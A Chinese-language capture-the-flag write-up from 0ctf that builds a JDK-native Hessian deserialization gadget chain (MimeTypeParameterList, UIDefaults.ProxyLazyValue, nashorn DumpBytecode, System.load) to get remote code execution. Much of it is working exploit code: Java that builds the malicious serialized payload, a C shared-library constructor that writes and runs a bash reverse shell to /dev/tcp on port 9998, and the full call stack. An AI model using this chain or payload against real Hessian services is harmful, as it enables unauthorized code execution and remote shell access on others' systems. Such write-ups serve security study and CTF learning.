周末和cx某人打了0ctf ,继hfctf2022 ezchain 找到rome二次反序列化链之后 ,hessian到挖jdk原生链了2333.
环境 : 只有 hessian 4.0.38 + jdk8u342 直接就是hessian 反序列化,挖jdk原生链
hessian不需要继承serializable,
设置 SerializerFactory里面 setAllowNonSerializable(true);就行
和xstream有点类似 ,所以hessian的jdk原生链可以从xstream的历史链来作参考 。
https://x-stream.github.io/CVE-2021-21346.html
Rdn$RdnEntry#compareTo->
XString#equal->
MultiUIDefaults#toString->
UIDefaults#get->
UIDefaults#getFromHashTable->
UIDefaults$LazyValue#createValue->
SwingLazyValue#createValue->
InitialContext#doLookup()
但是实际上并不能直接用,
首先是javax.swing.MultiUIDefaults
在反序列化的时候就会报错java.lang.IllegalAccessException: Class com.caucho.hessian.io.MapDeserializer can not access a member of class javax.swing.MultiUIDefaults with modifiers "public"
所以需要找个类替代 MultiUIDefaults ,UIDefaults 是继承Hashtable的 ,所以需要toString() -> Hashtable.get() 的 ,找到了个java.awt.datatransfer.MimeTypeParameterList
java.awt.datatransfer.MimeTypeParameterList
private Hashtable<String, String> parameters;
public String toString() {
Enumeration<String> keys = parameters.keys();
while(keys.hasMoreElements())
{
buffer.append("; ");
String key = keys.nextElement();
...
buffer.append(quote(parameters.get(key)));
....
}
}
构造畸形的序列化数据
在Hessian2Input.expect这里
protected IOException expect(String expect, int ch) throws IOException {
....
try {
...
Object obj = this.readObject();
return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")" + "\n " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
}
obj.getClass().getName() + " (" + obj + ")" + "\n " 直接将obj拼接了 可以触发toString
在Hessian2Input.readObject case67 的时候->
this.readObjectDefinition((Class)null);->
throw this.expect("string", tag);-> this.expect()
所以重写
com.caucho.hessian.io.Hessian2Output在 writeString这里改下就行
在SwingLazyValue.createValue中
拿到public static 的方法 然后invoke ,一般来说这种是用jndi来打比较多,但是题目没有tomcat 或者gadget, 所以jndi没法使用
然后这里有个大坑等等说到。
题目将
com.sun.org.apache.xml.internal.security.utils.JavaUtils 给ban了
看一下这个类原本的writeBytesToFilename ,直接写文件
public static void writeBytesToFilename(String filename, byte[] bytes) {
if (filename != null && bytes != null) {
try (OutputStream outputStream = Files.newOutputStream(Paths.get(filename))) {
outputStream.write(bytes);
所以现在思路应该很清晰了,在写文件的情况下 一般都是和System.load 组合拳 ,现在就是需要找一个public static 的写文件方法绕过JavaUtils.writeBytesToFilename(后来被告知是非预期解 打脸)
然后就是找 , 找到jdk.nashorn.internal.codegen.DumpBytecode.dumpBytecode
然后就是一个大坑。。。
因为classLoader的原因 ,在SwingLazyValue这里只能加载rt.jar 里面的类
而我找的jdk.nashorn.internal.codegen.DumpBytecode.dumpBytecode 位于nashorn.jar 里面
无法加载,在这里卡了很久 ,后来看到了个 ProxyLazyValue.createValue
public Object createValue(final UIDefaults table) {
if (acc == null && System.getSecurityManager() != null) {
throw new SecurityException("null AccessControlContext");
}
return AccessController.doPrivileged(new PrivilegedAction<Object>() {
public Object run() {
try {
Class<?> c;
Object cl;
if (table == null || !((cl = table.get("ClassLoader"))
instanceof ClassLoader)) {
cl = Thread.currentThread().
getContextClassLoader();
if (cl == null) {
cl = ClassLoader.getSystemClassLoader();
}
}
ReflectUtil.checkPackageAccess(className);
c = Class.forName(className, true, (ClassLoader)cl);
SwingUtilities2.checkAccess(c.getModifiers());
if (methodName != null) {
Class[] types = getClassArray(args);
Method m = c.getMethod(methodName, types);
return MethodUtil.invoke(m, c, args);
} else {
获取到classLoader ,所以就能正常加载jdk 里面nashorn.jar 这些里面的类了
然后由于Hessian 序列化的机制,ProxyLazyValue里面的 field acc 是在反序列化过程中会报错 , 所以需要将acc 反射设置为null
使用DumpBytecode.dumpBytecode 创建个动态链接库, 然后System.load 执行就行了
#include <stdlib.h>
#include <stdio.h>
void __attribute__ ((__constructor__)) aasdnqwgasdela1 (){
system("echo '/bin/bash -i >& /dev/tcp/xxxxxxxx/9998 0>&1' > /tmp/1");
system("/bin/bash /tmp/1");
}
gcc -c a.c -o a && gcc a --share -o a.so
创建文件
SerializerFactory sf = new SerializerFactory();
sf.setAllowNonSerializable(true);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
out.setSerializerFactory(sf);
Unsafe unsafe = getUnsafe();
Object script = unsafe.allocateInstance(ScriptEnvironment.class);
setFieldValue(script,"_dest_dir","/tmp/");
Object debug=unsafe.allocateInstance(DebugLogger.class);
byte[] code=Files.readAllBytes(Paths.get("a.so"));
String classname="asdxxxxxxx";
UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode", "dumpBytecode", new Object[]{
script,
debug,
code,
classname
});
setFieldValue(proxyLazyValue,"acc",null);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("q", proxyLazyValue);
Class clazz;
clazz = Class.forName("java.awt.datatransfer.MimeTypeParameterList");
Object mimeTypeParameterList = unsafe.allocateInstance(clazz);
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
out.writeString("aaaxxxx");
out.writeObject(mimeTypeParameterList);
out.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray();
Files.write(Paths.get("ser"),bytes);
System.load 直接改下调用方法就行了,System.load 在rt.jar 里面 用SwingLazyValue 也一样
SwingLazyValue swingLazyValue = new SwingLazyValue("java.lang.System", "load", new Object[]{
"/tmp/asdxxxxxxx.class"
});
稳
附上完整调用栈
dumpBytecode:94, DumpBytecode (jdk.nashorn.internal.codegen)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [2]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [1]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
run:1108, UIDefaults$ProxyLazyValue$1 (javax.swing)
doPrivileged:-1, AccessController (java.security)
createValue:1087, UIDefaults$ProxyLazyValue (javax.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:290, MimeTypeParameterList (java.awt.datatransfer)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
handle:43, Index$MyHandler (com.caucho.hessian.io)
doFilter:79, Filter$Chain (com.sun.net.httpserver)
doFilter:83, AuthFilter (sun.net.httpserver)
doFilter:82, Filter$Chain (com.sun.net.httpserver)
handle:675, ServerImpl$Exchange$LinkHandler (sun.net.httpserver)
doFilter:79, Filter$Chain (com.sun.net.httpserver)
run:647, ServerImpl$Exchange (sun.net.httpserver)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)